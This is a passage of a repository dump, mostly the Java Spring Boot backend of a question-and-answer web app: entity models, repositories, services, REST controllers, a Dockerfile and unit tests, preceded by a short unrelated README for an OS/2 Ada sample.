<file_sep>DEV-SAMPLE-Ada-PowerAdaSOM
==========================
This contains source, libraries, demos, and documentation describing the integration of PowerAda 2.2 and SOM 2.x.
LICENSE
===============
* Not Specified
* AS IS Freeware
COMPILE TOOLS
===============
*
AUTHORS
===============
* OC Systems, Inc.
LINKS
===============
*
| 279cb0502c9021d1a863a81bdde9fc809c664b89 | [
"Markdown",
"Makefile",
"Text",
"C",
"Shell"
] | 9 | Shell | OS2World/DEV-SAMPLES-Ada-PowerAdaSOM | f4bfd87cb82679644c713515a591e96de375c530 | a7cb6455cc586707d49f59c2fc3fcf9e4fc072de |
refs/heads/master | <file_sep>package com.revature.vew.repositories;
import static org.assertj.core.api.Assertions.assertThat;
import com.revature.vew.models.AnswerRanking;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import java.util.List;
@ActiveProfiles("repository") // This sets profile to repository which means the Command Line Runner Bean will be run.
@DataJpaTest
public class AnswerRankingRepositoryTests {
private AnswerRankingRepository answerRankingRepository;
@Autowired
public AnswerRankingRepositoryTests(AnswerRankingRepository answerRankingRepository) {
this.answerRankingRepository = answerRankingRepository;
}
@Test
public void testFindAll() {
List<AnswerRanking> answerRankings = answerRankingRepository.findAll();
assertThat(answerRankings.size()).isEqualTo(3);
}
}
<file_sep>FROM maven:3.6.1-jdk-8 as builder
## Provides EST timezone for JUnit testing purposes
ENV TZ=America/New_York
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
### Provide Default Argument
WORKDIR /usr/src/app
COPY . .
RUN mvn clean package
## Use only a JRE to run application
FROM gcr.io/distroless/java:8
## Provide Dynamic Environment Variables
ARG db_url
ENV db_url=${db_url}
ARG db_username
ENV db_username=${db_username}
ARG db_password
ENV db_password=${<PASSWORD>}
## Copy Artifact from maven image
COPY --from=builder /usr/src/app/target/vew-0.0.1-SNAPSHOT.jar /app/app.jar
WORKDIR /app
CMD ["app.jar"]<file_sep>package com.revature.vew.models;
import javax.persistence.*;
@Entity
@Table(name = "question_ranking")
public class QuestionRanking extends Auditable<String> {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "question_ranking_id")
private int questionRankingId;
@ManyToOne
@JoinColumn(name = "user_id", nullable = false)
private User user;
@ManyToOne
@JoinColumn(name = "question_id", nullable = false)
private Question question;
private boolean upvote;
public QuestionRanking() {
}
public QuestionRanking(User user, Question question, boolean upvote) {
this.user = user;
this.question = question;
this.upvote = upvote;
}
public int getQuestionRankingId() {
return questionRankingId;
}
public void setUserQuestionRankingId(int userQuestionRankingId) {
this.questionRankingId = userQuestionRankingId;
}
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
public Question getQuestion() {
return question;
}
public void setQuestion(Question question) {
this.question = question;
}
public boolean isUpvote() {
return upvote;
}
public void setUpvote(boolean upvote) {
this.upvote = upvote;
}
@Override
public String toString() {
return "UserQuestionRanking{" +
"userQuestionRankingId=" + questionRankingId +
", user=" + user +
", question=" + question +
", upvote=" + upvote +
", createdBy=" + createdBy +
", creationDate=" + creationDate +
", lastModifiedBy=" + lastModifiedBy +
", lastModifiedDate=" + lastModifiedDate +
'}';
}
}
<file_sep>server.port=9001
spring.datasource.url=${db_url}
spring.datasource.username=${db_username}
spring.datasource.password=${<PASSWORD>}
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQL95Dialect
spring.jpa.hibernate.ddl-auto=update
spring.jpa.show-sql=true
spring.aop.auto=true
logging.level.org.springframework.web=INFO
logging.level.org.hibernate=ERROR
logging.level.net.guides=DEBUG
<file_sep>package com.revature.vew.repositories;
import com.revature.vew.models.Answer;
import com.revature.vew.models.Question;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.Query;
import org.springframework.stereotype.Repository;
import java.util.List;
@Repository
public interface AnswerRepository extends JpaRepository<Answer, Integer> {
// This method returns an answer by Id
// with ONLY the relevant information needed to display it on the front end
@Query("SELECT new Answer (answerId, answer, totalUpvotes, totalDownvotes, creationDate, lastModifiedDate, " +
"question.questionId, user.userId, user.firstName, user.lastName) from Answer where answerId = ?1")
Answer findRelevantInfoAnswerByAnswerId(int answerId);
// This method returns all answers belonging to a single question
// with ONLY the relevant information needed to display it on the front end
@Query("SELECT new Answer (answerId, answer, totalUpvotes, totalDownvotes, creationDate, lastModifiedDate, " +
"question.questionId, user.userId, user.firstName, user.lastName) from Answer where question = ?1")
List<Answer> findRelevantInfoAnswersByQuestion(Question question);
}
<file_sep>package com.revature.vew.models;
import static org.junit.jupiter.api.Assertions.assertEquals;
import java.util.Date;
import org.junit.jupiter.api.Test;
public class QuestionCommentTest {
@Test
public void testConstructor() {
Date creationDate = new Date(1L);
QuestionComment actualQuestionComment = new QuestionComment(123, "Comment", creationDate, new Date(1L), 123, 123,
"Jane", "Doe");
Question question = actualQuestionComment.getQuestion();
String actualToStringResult = question.toString();
assertEquals("Comment", actualQuestionComment.getComment());
User user = actualQuestionComment.getUser();
assertEquals("QuestionComment{questionCommentId=123, user=User{userId=123, username='null', password='<PASSWORD>',"
+ " firstName='Jane', lastName='Doe', role=null}, question=Question{questionId=123, user=null, question='null',"
+ " approved=false, totalUpvotes=0, totalDownvotes=0, tags=[], creationDate=null, lastModifiedDate=null},"
+ " comment='Comment', creationDate=Wed Dec 31 19:00:00 EST 1969, lastModifiedDate=Wed Dec 31 19:00:00"
+ " EST 1969}", actualQuestionComment.toString());
assertEquals(123, actualQuestionComment.getQuestionCommentId());
assertEquals("Doe", user.getLastName());
assertEquals(
"Question{questionId=123, user=null, question='null', approved=false, totalUpvotes=0, totalDownvotes=0,"
+ " tags=[], creationDate=null, lastModifiedDate=null}",
actualToStringResult);
assertEquals(123, question.getQuestionId());
assertEquals("Jane", user.getFirstName());
assertEquals(123, user.getUserId());
}
@Test
public void testSetQuestionCommentId() {
QuestionComment questionComment = new QuestionComment();
questionComment.setQuestionCommentId(123);
assertEquals(123, questionComment.getQuestionCommentId());
}
@Test
public void testSetUser() {
QuestionComment questionComment = new QuestionComment();
questionComment.setUser(new User());
assertEquals(
"QuestionComment{questionCommentId=0, user=User{userId=0, username='null', password='<PASSWORD>', firstName='null',"
+ " lastName='null', role=null}, question=null, comment='null', creationDate=null, lastModifiedDate=null"
+ "}",
questionComment.toString());
}
@Test
public void testSetQuestion() {
QuestionComment questionComment = new QuestionComment();
questionComment.setQuestion(new Question());
assertEquals(
"QuestionComment{questionCommentId=0, user=null, question=Question{questionId=0, user=null, question='null',"
+ " approved=false, totalUpvotes=0, totalDownvotes=0, tags=[], creationDate=null, lastModifiedDate=null},"
+ " comment='null', creationDate=null, lastModifiedDate=null}",
questionComment.toString());
}
@Test
public void testSetComment() {
QuestionComment questionComment = new QuestionComment();
questionComment.setComment("Comment");
assertEquals("Comment", questionComment.getComment());
}
@Test
public void testToString() {
assertEquals("QuestionComment{questionCommentId=0, user=null, question=null, comment='null', creationDate=null,"
+ " lastModifiedDate=null}", (new QuestionComment()).toString());
}
}
<file_sep>package com.revature.vew.controllers;
import com.revature.vew.models.Answer;
import com.revature.vew.models.Question;
import com.revature.vew.services.AnswerService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.net.URISyntaxException;
import java.util.List;
@RestController
@CrossOrigin
@RequestMapping(path = "/answer")
public class AnswerController {
private AnswerService answerService;
@Autowired
public AnswerController(AnswerService answerService){
this.answerService = answerService;
}
@PostMapping
public ResponseEntity<?> addAnswer(@RequestBody Answer newAnswer) throws URISyntaxException {
Answer addedAnswer = this.answerService.addAnswer(newAnswer);
return new ResponseEntity<>(addedAnswer, HttpStatus.CREATED);
}
@GetMapping(path = "/{id}", produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<?> getAnswerByAnswerId(@PathVariable int id) throws URISyntaxException {
Answer answerFoundById = answerService.getAnswerByAnswerId(id);
return new ResponseEntity<>(answerFoundById, HttpStatus.OK);
}
@GetMapping(path = "/question/{id}", produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<?> getAnswersByQuestion(@PathVariable int id) throws URISyntaxException {
Question inputQuestion = new Question(id);
List<Answer> answersFoundByQuestion = answerService.getAnswersByQuestion(inputQuestion);
return new ResponseEntity<>(answersFoundByQuestion, HttpStatus.OK);
}
}
<file_sep>package com.revature.vew.models;
import org.hibernate.annotations.OnDelete;
import org.hibernate.annotations.OnDeleteAction;
import javax.persistence.*;
import java.util.Date;
import java.util.HashSet;
import java.util.Set;
@Entity
@Table(name = "questions")
public class Question extends Auditable<String> {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "question_id")
private int questionId;
@ManyToOne
@JoinColumn(name="user_id", nullable = false)
@OnDelete(action = OnDeleteAction.CASCADE)
private User user;
private String question;
@Column(columnDefinition = "boolean default false")
private boolean approved;
@Column(name = "total_upvotes", columnDefinition = "int default 0")
private int totalUpvotes;
@Column(name = "total_downvotes", columnDefinition = "int default 0")
private int totalDownvotes;
@ManyToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
@JoinTable(name = "questions_tags",
joinColumns = {
@JoinColumn(name = "question_id", referencedColumnName = "question_id", nullable = false)},
inverseJoinColumns = {
@JoinColumn(name = "tag_id", referencedColumnName = "tag_id", nullable = false)})
private Set<Tag> tags = new HashSet<>();
public Question() { }
public Question(int questionId) {
this.questionId = questionId;
}
public Question(int userId, String question) {
super();
User user = new User(userId);
this.user = user;
this.question = question;
}
public Question(User user, String question) {
this.user = user;
this.question = question;
}
public Question(int questionId, User user, String question, boolean approved, int totalUpvotes, int totalDownvotes) {
super();
this.questionId = questionId;
this.user = user;
this.question = question;
this.approved = approved;
this.totalUpvotes = totalUpvotes;
this.totalDownvotes = totalDownvotes;
}
public Question(int questionId, String question, int totalUpvotes, int totalDownvotes, Date creationDate,
Date lastModifiedDate, int userId) {
User user = new User(userId);
this.questionId = questionId;
this.question = question;
this.totalUpvotes = totalUpvotes;
this.totalDownvotes = totalDownvotes;
this.creationDate = creationDate;
this.lastModifiedDate = lastModifiedDate;
this.user = user;
}
public Question(int questionId, String question, int totalUpvotes, int totalDownvotes, Date creationDate,
Date lastModifiedDate, int userId, String firstName, String lastName) {
User user = new User(userId, firstName, lastName);
this.questionId = questionId;
this.question = question;
this.totalUpvotes = totalUpvotes;
this.totalDownvotes = totalDownvotes;
this.creationDate = creationDate;
this.lastModifiedDate = lastModifiedDate;
this.user = user;
}
public int getQuestionId() {
return questionId;
}
public void setQuestionId(int questionId) {
this.questionId = questionId;
}
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
public String getQuestion() {
return question;
}
public void setQuestion(String question) {
this.question = question;
}
public boolean isApproved() {
return approved;
}
public void setApproved(boolean approved) {
this.approved = approved;
}
public int getTotalUpvotes() {
return totalUpvotes;
}
public void setTotalUpvotes(int totalUpvotes) {
this.totalUpvotes = totalUpvotes;
}
public int getTotalDownvotes() {
return totalDownvotes;
}
public void setTotalDownvotes(int totalDownvotes) {
this.totalDownvotes = totalDownvotes;
}
public Set<Tag> getTags() {
return tags;
}
public void setTags(Set<Tag> tags) {
this.tags = tags;
}
@Override
public String toString() {
return "Question{" +
"questionId=" + questionId +
", user=" + user +
", question='" + question + '\'' +
", approved=" + approved +
", totalUpvotes=" + totalUpvotes +
", totalDownvotes=" + totalDownvotes +
", tags=" + tags +
", creationDate=" + creationDate +
", lastModifiedDate=" + lastModifiedDate +
'}';
}
}
<file_sep>package com.revature.vew.repositories;
import static org.assertj.core.api.Assertions.assertThat;
import com.revature.vew.models.User;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import java.util.List;
@ActiveProfiles("repository") // This sets profile to repository which means the Command Line Runner Bean will be run.
@DataJpaTest
public class UserRepositoryTests {
private UserRepository userRepository;
@Autowired
public UserRepositoryTests(UserRepository userRepository) {
this.userRepository = userRepository;
}
@Test
public void testFindAll() {
List<User> allUsers = userRepository.findAll();
assertThat(allUsers.size()).isEqualTo(3);
}
@Test
public void testFindUserByUserId() {
User user = userRepository.findUserByUserId(1);
assertThat(user.getLastName()).isEqualTo("Power");
}
@Test
public void testFindUserByEmail() {
User user = userRepository.findUserByEmail("<EMAIL>");
assertThat(user.getLastName()).isEqualTo("Approve");
}
@Test
public void testExistsByEmail() {
boolean doesExist = userRepository.existsByEmail("<EMAIL>");
assertThat(doesExist).isEqualTo(true);
}
}
<file_sep>package com.revature.vew.models;
import static org.junit.jupiter.api.Assertions.assertEquals;
import java.util.Date;
import org.junit.jupiter.api.Test;
public class AnswerCommentTest {
@Test
public void testConstructor() {
Date creationDate = new Date(1L);
AnswerComment actualAnswerComment = new AnswerComment(123, "Comment", creationDate, new Date(1L), 123, 123, "Jane",
"Doe");
int actualAnswer_id = actualAnswerComment.getAnswer().getAnswerId();
assertEquals("Comment", actualAnswerComment.getComment());
User user = actualAnswerComment.getUser();
assertEquals(123, actualAnswerComment.getAnswerCommentId());
assertEquals(
"AnswerComment{answerCommentId=123, user=User{userId=123, username='null', password='<PASSWORD>', firstName='Jane',"
+ " lastName='Doe', role=null}, answer=Answer{answerId=123, question=null, answer='null', user=null,"
+ " totalUpvotes=0, totalDownvotes=0, creationDate=null, lastModifiedDate=null}, comment='Comment',"
+ " creationDate=Wed Dec 31 19:00:00 EST 1969, lastModifiedDate=Wed Dec 31 19:00:00 EST 1969}",
actualAnswerComment.toString());
assertEquals("Doe", user.getLastName());
assertEquals(123, actualAnswer_id);
assertEquals("Jane", user.getFirstName());
assertEquals(123, user.getUserId());
}
@Test
public void testSetAnswerCommentId() {
AnswerComment answerComment = new AnswerComment();
answerComment.setAnswerCommentId(123);
assertEquals(123, answerComment.getAnswerCommentId());
}
@Test
public void testSetUser() {
AnswerComment answerComment = new AnswerComment();
answerComment.setUser(new User());
assertEquals(
"AnswerComment{answerCommentId=0, user=User{userId=0, username='null', password='<PASSWORD>', firstName='null',"
+ " lastName='null', role=null}, answer=null, comment='null', creationDate=null, lastModifiedDate=null"
+ "}",
answerComment.toString());
}
@Test
public void testSetAnswer() {
AnswerComment answerComment = new AnswerComment();
answerComment.setAnswer(new Answer());
assertEquals("AnswerComment{answerCommentId=0, user=null, answer=Answer{answerId=0, question=null, answer='null',"
+ " user=null, totalUpvotes=0, totalDownvotes=0, creationDate=null, lastModifiedDate=null}, comment='null',"
+ " creationDate=null, lastModifiedDate=null}", answerComment.toString());
}
@Test
public void testSetComment() {
AnswerComment answerComment = new AnswerComment();
answerComment.setComment("Comment");
assertEquals("Comment", answerComment.getComment());
}
@Test
public void testToString() {
assertEquals("AnswerComment{answerCommentId=0, user=null, answer=null, comment='null', creationDate=null,"
+ " lastModifiedDate=null}", (new AnswerComment()).toString());
}
}
<file_sep>package com.revature.vew.services;
import static org.mockito.Mockito.when;
import static org.mockito.ArgumentMatchers.any;
import static org.assertj.core.api.Assertions.assertThat;
import com.revature.vew.models.Question;
import com.revature.vew.models.Role;
import com.revature.vew.models.User;
import com.revature.vew.repositories.QuestionRepository;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import java.util.Date;
@RunWith(SpringRunner.class)
@SpringBootTest
public class QuestionServiceTests {
@Mock
private QuestionRepository questionRepositoryMock;
@InjectMocks
private QuestionService questionServiceMock;
@Test
public void testAddQuestionReturnsQuestion(){
Role userRole = new Role(3, "User");
User user = new User(2, "<EMAIL>", "<PASSWORD>", "FirstName", "LastName", userRole);
Question outputQuestion = new Question(3, user, "What is Dakota?", false, 10, 3);
when(questionRepositoryMock.save(any(Question.class))).thenReturn(outputQuestion);
Question inputQuestion = new Question(2, "What is Dakota?");
Question questionCreated = questionServiceMock.addQuestion(inputQuestion);
assertThat(questionCreated).isEqualTo(outputQuestion);
}
@Test
public void testGetQuestionByQuestionIdReturnsRelevantInfoQuestion(){
Date creationDate = new Date(1L);
Date updateDate = creationDate;
Question outputQuestion = new Question(3, "What is Dakota?", 10, 3,
creationDate, updateDate, 1, "Adimn", "Power");
when(questionRepositoryMock.findRelevantInfoQuestionByQuestionId(1)).thenReturn(outputQuestion);
Question questionFound = questionServiceMock.getQuestionByQuestionId(1);
assertThat(questionFound).isEqualTo(outputQuestion);
}
}
<file_sep>package com.revature.vew.repositories;
import static org.assertj.core.api.Assertions.assertThat;
import com.revature.vew.models.Role;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import java.util.List;
@ActiveProfiles("repository") // This sets profile to repository which means the Command Line Runner Bean will be run.
@DataJpaTest
public class RoleRepositoryTests {
private RoleRepository roleRepository;
@Autowired
public RoleRepositoryTests(RoleRepository roleRepository) {
this.roleRepository = roleRepository;
}
@Test
public void testFindAll() {
List<Role> allRoles = roleRepository.findAll();
assertThat(allRoles.size()).isEqualTo(3);
}
@Test
public void testFindRoleByRoleId() {
Role roleOne = roleRepository.findRoleByRoleId(1);
assertThat(roleOne.getRoleId()).isEqualTo(1);
}
@Test
public void testFindRoleByRole() {
Role userRole = roleRepository.findRoleByRole("User");
assertThat(userRole.getRole()).isEqualTo("User");
}
@Test
public void testExistsByRole() {
boolean doesExist = roleRepository.existsByRole("Admin");
assertThat(doesExist).isEqualTo(true);
}
}
<file_sep>package com.revature.vew.services;
import com.revature.vew.models.Answer;
import com.revature.vew.models.Question;
import com.revature.vew.repositories.AnswerRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class AnswerService {
private AnswerRepository answerRepository;
@Autowired
public AnswerService(AnswerRepository answerRepository) {
this.answerRepository = answerRepository;
}
public Answer addAnswer(Answer newAnswer) {
return answerRepository.save(newAnswer);
}
public Answer getAnswerByAnswerId(int answerId) {
return answerRepository.findRelevantInfoAnswerByAnswerId(answerId);
}
public List<Answer> getAnswersByQuestion(Question question) {
return answerRepository.findRelevantInfoAnswersByQuestion(question);
}
}
<file_sep>package com.revature.vew.repositories;
import com.revature.vew.models.Question;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.Query;
import org.springframework.stereotype.Repository;
@Repository
public interface QuestionRepository extends JpaRepository<Question, Integer> {
// This method returns a question with ONLY the relevant information needed to display it on the front end
@Query("SELECT new Question(questionId, question, totalUpvotes, totalDownvotes, creationDate, lastModifiedDate, user.userId, " +
"user.firstName, user.lastName) from Question where questionId = ?1")
Question findRelevantInfoQuestionByQuestionId(int id);
}
<file_sep>package com.revature.vew.models;
import static org.junit.jupiter.api.Assertions.assertEquals;
import org.junit.jupiter.api.Test;
public class RoleTest {
@Test
public void testSetRoleId() {
Role role = new Role();
role.setRoleId(123);
assertEquals(123, role.getRoleId());
}
@Test
public void testSetRole() {
Role role = new Role();
role.setRole("Role");
assertEquals("Role", role.getRole());
}
@Test
public void testToString() {
assertEquals("Role{roleId=0, role='null', creationDate=null, lastModifiedDate=null}", (new Role()).toString());
}
}
<file_sep>package com.revature.vew.repositories;
import static org.assertj.core.api.Assertions.assertThat;
import com.revature.vew.models.Tag;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import java.util.List;
@ActiveProfiles("repository") // This sets profile to repository which means the Command Line Runner Bean will be run.
@DataJpaTest
public class TagRepositoryTests {
private TagRepository tagRepository;
@Autowired
public TagRepositoryTests(TagRepository tagRepository) {
this.tagRepository = tagRepository;
}
@Test
public void testFindAll() {
List<Tag> allTags = tagRepository.findAll();
assertThat(allTags.size()).isEqualTo(3);
}
}
<file_sep># VEW-Backend
This is the backend for the VEW web app.
<file_sep>package com.revature.vew.services;
import com.revature.vew.models.Role;
import com.revature.vew.models.User;
import com.revature.vew.repositories.RoleRepository;
import com.revature.vew.repositories.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.DataIntegrityViolationException;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.stereotype.Service;
@Service
public class UserService {
private UserRepository userRepository;
private RoleRepository roleRepository;
@Autowired
public UserService(UserRepository userRepository, RoleRepository roleRepository) {
this.userRepository = userRepository;
this.roleRepository = roleRepository;
}
// Bcrypt encryption for user password
BCryptPasswordEncoder encrypt = new BCryptPasswordEncoder();
// this method saves a user to the database
public User registerUser(User newUser) {
Role defaultUserRole = this.roleRepository.findRoleByRole("User");
newUser.setRole(defaultUserRole);
User filteredUser = new User();
/* We catch exceptions from the repository methods here
We than supply a specific userId to let the controller know if a specific exception was thrown
userId > 0 means a user was created
userId == -1 means there was a DataIntegrityViolationException
ie user(email) already exists
userId will equal 0 for other exceptions since that is the default value of an int
*/
try {
User unfilteredUser = this.userRepository.save(newUser);
filteredUser.setUserId(unfilteredUser.getUserId());
} catch (DataIntegrityViolationException ex) {
System.out.println(ex);
filteredUser.setUserId(-1);
} catch (Exception ex) {
System.out.println(ex);
}
return filteredUser;
}
// this methods checks whether a users email and password match
public User login(User currentUser) {
User filteredUser = new User();
// check to see if user exists with that email
// if not return user with id -1 so controller can pass message to front end that User does not exist
if (!this.userRepository.existsByEmail(currentUser.getEmail().toLowerCase())) {
filteredUser.setUserId(-1);
return filteredUser;
}
User userFromDatabase = this.userRepository.findUserByEmail(currentUser.getEmail().toLowerCase());
// Use the encrypt.matches method to see if loggin in User (currentUser) matches password from Database
if (encrypt.matches(currentUser.getPassword(), userFromDatabase.getPassword())) {
filteredUser.setUserId(userFromDatabase.getUserId());
filteredUser.setEmail(userFromDatabase.getEmail());
filteredUser.setFirstName(userFromDatabase.getFirstName());
filteredUser.setLastName(userFromDatabase.getLastName());
filteredUser.setRole(userFromDatabase.getRole());
return filteredUser;
} else {
// this will default userId to 0 so controller knows that password was wrong
return filteredUser;
}
}
}
<file_sep>package com.revature.vew.controllers;
import static org.mockito.Mockito.*;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.assertj.core.api.Assertions.assertThat;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.revature.vew.models.Question;
import com.revature.vew.services.QuestionService;
import org.junit.Assert;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.http.MediaType;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.MvcResult;
import java.util.Date;
@WebMvcTest(controllers = QuestionController.class)
public class QuestionControllerTests {
private MockMvc mockMvc;
private ObjectMapper objectMapper;
@MockBean
private QuestionService questionServiceMock;
@Autowired
public QuestionControllerTests(MockMvc mockMvc, ObjectMapper objectMapper) {
this.mockMvc = mockMvc;
this.objectMapper = objectMapper;
}
@Test
public void testAddQuestionReturnsQuestionAndCreatedResponse() throws Exception {
Date creationDate = new Date(1L);
Date updateDate = creationDate;
Question outputQuestion = new Question(3, "What is Dakota?", 0, 0,
creationDate, updateDate, 1);
when(questionServiceMock.addQuestion(any(Question.class))).thenReturn(outputQuestion);
Question newQuestion = new Question(1, "Why is Dakota?");
this.mockMvc.perform(post("/question")
.content(objectMapper.writeValueAsString(newQuestion))
.contentType(MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andDo(print())
.andExpect(status().isCreated())
.andExpect(content().json("{\"createdBy\":null,\"creationDate\":\"1970-01-01T00:00:00.001+00:00\"," +
"\"lastModifiedBy\":null,\"lastModifiedDate\":\"1970-01-01T00:00:00.001+00:00\",\"questionId\":3," + "" +
"\"user\":{\"userId\":1,\"email\":null,\"password\":<PASSWORD>,\"firstName\":null,\"lastName\":null,\"role\":null}," + "" +
"\"question\":\"What is Dakota?\",\"approved\":false,\"totalUpvotes\":0,\"totalDownvotes\":0,\"tags\":[]}"))
.andReturn();
}
@Test
public void testGetQuestionByQuestionIdReturnsRelevantInfoQuestion() throws Exception {
Date creationDate = new Date(1L);
Date updateDate = creationDate;
Question outputQuestion = new Question(3, "What is Dakota?", 10, 3,
creationDate, updateDate, 1, "Adimn", "Power");
when(questionServiceMock.getQuestionByQuestionId(3)).thenReturn(outputQuestion);
int id = 3;
MvcResult result = this.mockMvc.perform(get("/question/" + id))
.andDo(print())
.andExpect(status().isOk())
.andReturn();
Assert.assertNotNull(result);
assertThat(result.getResponse().getContentAsString()).contains("What is Dakota?");
}
}
<file_sep>package com.revature.vew.repositories;
import com.revature.vew.models.AnswerRanking;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;
@Repository
public interface AnswerRankingRepository extends JpaRepository<AnswerRanking, Integer> {
}
<file_sep>package com.revature.vew.models;
import static org.junit.jupiter.api.Assertions.assertEquals;
import org.junit.jupiter.api.Test;
public class AnswerTest {
@Test
public void testSetAnswerId() {
Answer answer = new Answer();
answer.setAnswerId(1);
assertEquals(1, answer.getAnswerId());
}
@Test
public void testSetQuestion() {
Answer answer = new Answer();
answer.setQuestion(new Question());
assertEquals(
"Answer{answerId=0, question=Question{questionId=0, user=null, question='null', approved=false,"
+ " totalUpvotes=0, totalDownvotes=0, tags=[], creationDate=null, lastModifiedDate=null}, answer='null',"
+ " user=null, totalUpvotes=0, totalDownvotes=0, creationDate=null, lastModifiedDate=null}",
answer.toString());
}
@Test
public void testSetAnswer() {
Answer answer = new Answer();
answer.setAnswer("Answer");
assertEquals("Answer", answer.getAnswer());
}
@Test
public void testSetUser() {
Answer answer = new Answer();
answer.setUser(new User());
assertEquals(
"Answer{answerId=0, question=null, answer='null', user=User{userId=0, username='null', password='<PASSWORD>',"
+ " firstName='null', lastName='null', role=null}, totalUpvotes=0, totalDownvotes=0, creationDate=null,"
+ " lastModifiedDate=null}",
answer.toString());
}
@Test
public void testSetTotalUpvotes() {
Answer answer = new Answer();
answer.setTotalUpvotes(1);
assertEquals(1, answer.getTotalUpvotes());
}
@Test
public void testSetTotalDownvotes() {
Answer answer = new Answer();
answer.setTotalDownvotes(1);
assertEquals(1, answer.getTotalDownvotes());
}
@Test
public void testToString() {
assertEquals("Answer{answerId=0, question=null, answer='null', user=null, totalUpvotes=0, totalDownvotes=0,"
+ " creationDate=null, lastModifiedDate=null}", (new Answer()).toString());
}
}
<file_sep>package com.revature.vew.models;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
import org.junit.jupiter.api.Test;
public class AnswerRankingTest {
@Test
public void testSetAnswerRankingId() {
AnswerRanking answerRanking = new AnswerRanking();
answerRanking.setAnswerRankingId(123);
assertEquals(123, answerRanking.getAnswerRankingId());
}
@Test
public void testSetUser() {
AnswerRanking answerRanking = new AnswerRanking();
answerRanking.setUser(new User());
assertEquals(
"AnswerRanking{answerRankingId=0, user=User{userId=0, username='null', password='<PASSWORD>', firstName='null',"
+ " lastName='null', role=null}, answer=null, upvote=false, creationDate=null, lastModifiedDate=null" + "}",
answerRanking.toString());
}
@Test
public void testSetAnswer() {
AnswerRanking answerRanking = new AnswerRanking();
answerRanking.setAnswer(new Answer());
assertEquals("AnswerRanking{answerRankingId=0, user=null, answer=Answer{answerId=0, question=null, answer='null',"
+ " user=null, totalUpvotes=0, totalDownvotes=0, creationDate=null, lastModifiedDate=null}, upvote=false,"
+ " creationDate=null, lastModifiedDate=null}", answerRanking.toString());
}
@Test
public void testSetUpvote() {
AnswerRanking answerRanking = new AnswerRanking();
answerRanking.setUpvote(true);
assertTrue(answerRanking.isUpvote());
}
@Test
public void testToString() {
assertEquals(
"AnswerRanking{answerRankingId=0, user=null, answer=null, upvote=false, creationDate=null, lastModifiedDate"
+ "=null}",
(new AnswerRanking()).toString());
}
}
<file_sep>package com.revature.vew.repositories;
import static org.assertj.core.api.Assertions.assertThat;
import com.revature.vew.models.Answer;
import com.revature.vew.models.Question;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import java.util.List;
@ActiveProfiles("repository") // This sets profile to repository which means the Command Line Runner Bean will be run.
@DataJpaTest
public class AnswerRepositoryTests {
private AnswerRepository answerRepository;
@Autowired
public AnswerRepositoryTests(AnswerRepository answerRepository) {
this.answerRepository = answerRepository;
}
@Test
public void testFindAll() {
List<Answer> allAnswers = answerRepository.findAll();
assertThat(allAnswers.size()).isEqualTo(3);
}
@Test
public void testFindRelevantInfoAnswersByQuestion() {
Question question = new Question(2);
List<Answer> onlyAnswersForOneQuestion = answerRepository.findRelevantInfoAnswersByQuestion(question);
assertThat(onlyAnswersForOneQuestion.size()).isEqualTo(2);
assertThat(onlyAnswersForOneQuestion.get(0).getUser().getPassword()).isEqualTo(null);
}
@Test
public void testFindRelevantInfoAnswerByAnswerId() {
Answer answerFoundById = answerRepository.findRelevantInfoAnswerByAnswerId(1);
assertThat(answerFoundById.getAnswerId()).isEqualTo(1);
